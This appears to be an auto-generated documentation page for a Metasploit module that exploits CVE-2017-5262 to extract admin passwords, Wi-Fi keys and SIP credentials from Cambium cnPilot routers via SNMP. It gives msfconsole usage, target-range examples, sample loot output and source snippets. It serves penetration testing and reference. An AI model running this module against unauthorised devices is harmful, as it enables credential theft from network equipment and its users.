Cambium cnPilot r200/r201 SNMP Enumeration - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/snmp/cnpilot_r_snmp_loot metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cambium cnPilot r200/r201 SNMP Enumeration
Module: auxiliary/scanner/snmp/cnpilot_r_snmp_loot
Source code: modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb
Disclosure date: -
Last modification time: 2020-06-11 13:09:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: CVE-2017-5262

Cambium cnPilot r200/r201 devices can be administered using SNMP. The device configuration contains IP addresses, keys, passwords, & lots of juicy information. This module exploits an access control flaw, which allows remotely extracting sensitive information such as account passwords, WiFI PSK, & SIP credentials via SNMP Read-Only (RO) community string.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/snmp/cnpilot_r_snmp_loot
msf auxiliary(cnpilot_r_snmp_loot) > show options
    ... show and set options ...
msf auxiliary(cnpilot_r_snmp_loot) > set RHOSTS ip-range
msf auxiliary(cnpilot_r_snmp_loot) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cnpilot_r_snmp_loot) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(cnpilot_r_snmp_loot) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cnpilot_r_snmp_loot) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Cambium cnPilot r200/r201 devices can be administered using SNMP. The device configuration contains IP addresses, keys, passwords, & lots of juicy information. This module exploits an access control flaw, which allows remotely extracting sensitive information such as account passwords, WiFI PSK, & SIP credentials via SNMP Read-Only (RO) community string.

Verification Steps


  1. Do: use auxiliary/scanner/snmp/cnpilot_r_snmp_loot
  2. Do: set RHOSTS [IP]
  3. Do: set COMMUNITY public
  4. Do: run

Scenarios


msf > use auxiliary/scanner/snmp/cnpilot_r_snmp_loot
msf auxiliary(cnpilot_r_snmp_loot) > set rhosts 1.3.3.7
msf auxiliary(cnpilot_r_snmp_loot) > run

[+] 1.3.3.7, Connected.

[*] Fetching System Information...

[+] SNMP System Name: cnPilot R200P
[+] SNMP System Description: cnPilot R200P 4.3.1-R1
[+] Device UpTime: 666 days, 00:66:60.00
[+] Hardware version: V1.3
[+] Firmware version: 4.3.1-R1(201612201723)

[*] Fetching Login Account Information...

[+] Web Management Admin Login Name: admin
[+] Web Management Admin Login Password: S3cr3t

[*] Fetching SNMP Information...

[+] SNMP read-only community name: public
[+] SNMP read-write community name: private
[+] SNMP Trap Community: trap
[+] SNMP Trap Server IP Address:

[*] Fetching WIFI Information...

[+] Wireless Interface SSID: wifi_ssid
[+] Wireless Interface Encryption Key: wifi_secret_key
[+] Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): WPA2PSK

[*] Fetching SIP Account Information...

[+] SIP Account Number: 123456789
[+] SIP Account Password: 123456789

[+] Cambium cnPilot SNMP loot saved at /root/.msf4/loot/20000000000003_default_1.3.3.7_cambium_cnpilot__12345.txt

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/snmp/cnpilot_r_snmp_loot auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/snmp/cnpilot_r_snmp_loot

msf6 auxiliary(scanner/snmp/cnpilot_r_snmp_loot) > show info

       Name: Cambium cnPilot r200/r201 SNMP Enumeration
     Module: auxiliary/scanner/snmp/cnpilot_r_snmp_loot
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Karn Ganeshen

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  RETRIES    1                yes       SNMP Retries
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      161              yes       The target port (UDP)
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    10               yes       SNMP connection timeout
  VERSION    1                yes       SNMP Version <1/2c>

Description:
  Cambium cnPilot r200/r201 devices can be administered using SNMP. 
  The device configuration contains IP addresses, keys, passwords, & 
  lots of juicy information. This module exploits an access control 
  flaw, which allows remotely extracting sensitive information such as 
  account passwords, WiFI PSK, & SIP credentials via SNMP Read-Only 
  (RO) community string.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-5262
  https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities

Module Options


This is a complete list of options available in the scanner/snmp/cnpilot_r_snmp_loot auxiliary module:

msf6 auxiliary(scanner/snmp/cnpilot_r_snmp_loot) > show options

Module options (auxiliary/scanner/snmp/cnpilot_r_snmp_loot):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      161              yes       The target port (UDP)
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    10               yes       SNMP connection timeout
   VERSION    1                yes       SNMP Version <1/2c>

Advanced Options


Here is a complete list of advanced options supported by the scanner/snmp/cnpilot_r_snmp_loot auxiliary module:

msf6 auxiliary(scanner/snmp/cnpilot_r_snmp_loot) > show advanced

Module advanced options (auxiliary/scanner/snmp/cnpilot_r_snmp_loot):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/snmp/cnpilot_r_snmp_loot module can do:

msf6 auxiliary(scanner/snmp/cnpilot_r_snmp_loot) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/snmp/cnpilot_r_snmp_loot auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/snmp/cnpilot_r_snmp_loot) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP> SNMP request timeout.


Here is a relevant code snippet related to the "<IP> SNMP request timeout." error message:

122:	      loot_desc     = 'Cambium cnPilot configuration data'
123:	      p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc)
124:	      print_good("Cambium cnPilot SNMP loot saved at #{p} \n")
125:	
126:	    rescue SNMP::RequestTimeout
127:	      print_error("#{ip} SNMP request timeout.")
128:	    rescue Rex::ConnectionError
129:	      print_error("#{ip} Connection refused.")
130:	    rescue SNMP::InvalidIpAddress
131:	      print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
132:	    rescue SNMP::UnsupportedVersion

<IP> Connection refused.


Here is a relevant code snippet related to the "<IP> Connection refused." error message:

124:	      print_good("Cambium cnPilot SNMP loot saved at #{p} \n")
125:	
126:	    rescue SNMP::RequestTimeout
127:	      print_error("#{ip} SNMP request timeout.")
128:	    rescue Rex::ConnectionError
129:	      print_error("#{ip} Connection refused.")
130:	    rescue SNMP::InvalidIpAddress
131:	      print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
132:	    rescue SNMP::UnsupportedVersion
133:	      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
134:	    rescue ::Interrupt

<IP> Invalid IP Address. Check it with 'snmpwalk tool'.


Here is a relevant code snippet related to the "<IP> Invalid IP Address. Check it with 'snmpwalk tool'." error message:

126:	    rescue SNMP::RequestTimeout
127:	      print_error("#{ip} SNMP request timeout.")
128:	    rescue Rex::ConnectionError
129:	      print_error("#{ip} Connection refused.")
130:	    rescue SNMP::InvalidIpAddress
131:	      print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
132:	    rescue SNMP::UnsupportedVersion
133:	      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
134:	    rescue ::Interrupt
135:	      raise $!
136:	    rescue ::Exception => e

<IP> Unsupported SNMP version specified. Select from '1' or '2c'.


Here is a relevant code snippet related to the "<IP> Unsupported SNMP version specified. Select from '1' or '2c'." error message:

128:	    rescue Rex::ConnectionError
129:	      print_error("#{ip} Connection refused.")
130:	    rescue SNMP::InvalidIpAddress
131:	      print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
132:	    rescue SNMP::UnsupportedVersion
133:	      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
134:	    rescue ::Interrupt
135:	      raise $!
136:	    rescue ::Exception => e
137:	      print_error("Unknown error: #{e.class} #{e}")
138:	      elog(e)

Unknown error: <E.CLASS> <E>


Here is a relevant code snippet related to the "Unknown error: <E.CLASS> <E>" error message:

132:	    rescue SNMP::UnsupportedVersion
133:	      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
134:	    rescue ::Interrupt
135:	      raise $!
136:	    rescue ::Exception => e
137:	      print_error("Unknown error: #{e.class} #{e}")
138:	      elog(e)
139:	    ensure
140:	      disconnect_snmp
141:	    end
142:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Karn Ganeshen

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.